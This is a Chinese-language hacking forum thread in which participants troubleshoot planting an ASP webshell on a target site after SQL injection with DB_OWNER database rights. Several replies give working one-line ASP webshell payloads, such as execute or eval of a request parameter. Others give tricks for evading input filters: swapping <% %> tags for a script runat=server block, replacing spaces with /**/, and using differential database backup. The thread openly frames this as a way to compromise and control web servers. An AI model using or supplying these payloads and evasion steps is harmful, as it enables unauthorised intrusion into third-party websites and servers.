35 12
发新话题
打印

[讨论]关于注入后得到DB_OWNER权限的Getwebshell提交成功却无法连接

Active Server Pages 错误 'ASP 0116'

丢失脚本关闭分隔符

/8.asp,行 410646

Script 块缺少脚本关闭标记(%>)。


像这种有什么办法啊..

TOP

会不会是屏蔽了一些字符呢?  我也有类似的问题  正在研究中……

TOP

可能过滤了 空格替换成/**/ 也有可能FSO不支持

TOP

遇到种情况:
<%%25execute(request("l"))%%25>这种方法以及NBSI备份的都成正常访问
但是由于权限问题写不进去文件
想换成
<%eval request(chr(35))%> 这样的一句话

但是在备份过程中无论怎么变 都提示语法错误.
试过的一句话如下:
<%eval(request(chr(35)))%>
<%eval(request("l"))%>

知道的朋友帮忙解答一下.

TOP

来 鄙人 告诉 你
第一 你的 马儿 没有做变形
第二 你的 webshell 上传 通过 数据库方式提交上去 被加了非法字符
反正我是 没有通过 数据库上传 成功的 经验。
你找个 好工具 搞搞 吧

TOP

引用:
引用第25楼86669833于2007-06-02 03:01发表的 :
Active Server Pages 错误 &#39;ASP 0116&#39;

丢失脚本关闭分隔符

/8.asp,行 410646
.......
很多时候我们可以通过在注册表单或者用户信息修改表单中,插入简短的ASP代码。

使网站ASP数据库变成为一个ASP木马,然后进一步入侵控制服务器。

不过在上传代码过程中,许多网页程序都不允许包含〈%%〉标记符号的内容的文件上传。

这样就有好多SHELL不能上传上去了。可以采用下面的方法解决。以蓝屏最小ASP木马为例。

首先:原程序代码是“<%execute request("l")%>", 我们可以把它的标签换下来。

然后改成"<S criptlanguage=VBScript runat=server>execute request("l")</Script>".。

这样就避开了使用〈%%〉,保存为.ASP,程序照样执行,效果是一样的。

TOP

引用:
引用第11楼独孤依人于2006-08-19 18:46发表的 :
可能你备份的目录没有写入权限
这个好像不成立吧!我搞过有站。备份成功但是没有办法些大马。不可能连SQL都不分给权限把

TOP

引用:
原帖由 eno 于 2007-6-18 10:15 发表



很多时候我们可以通过在注册表单或者用户信息修改表单中,插入简短的ASP代码。

使网站ASP数据库变成为一个ASP木马,然后进一步入侵控制服务器。

不过在上传代码过程中,许多网页程序都不允许包含〈%%〉标记符号的内 ...
有些时候用这个  "<S criptlanguage=VBScript runat=server>execute request("l")</Script>"
备份成功之后
依然无法闭合

TOP

直接做差异备份也是个好办法

也或者直接备份到目录 然后直接访问看看就知道问题了 很简单的
论坛地址: http://www.ssk2.cn & www.iisuser.com

TOP

刚遇到过和你一样的问题

我已经解决了

你用

<%execute request("ah")%>

这句插进去看看

我刚就这样插进去了

TOP

 35 12
发新话题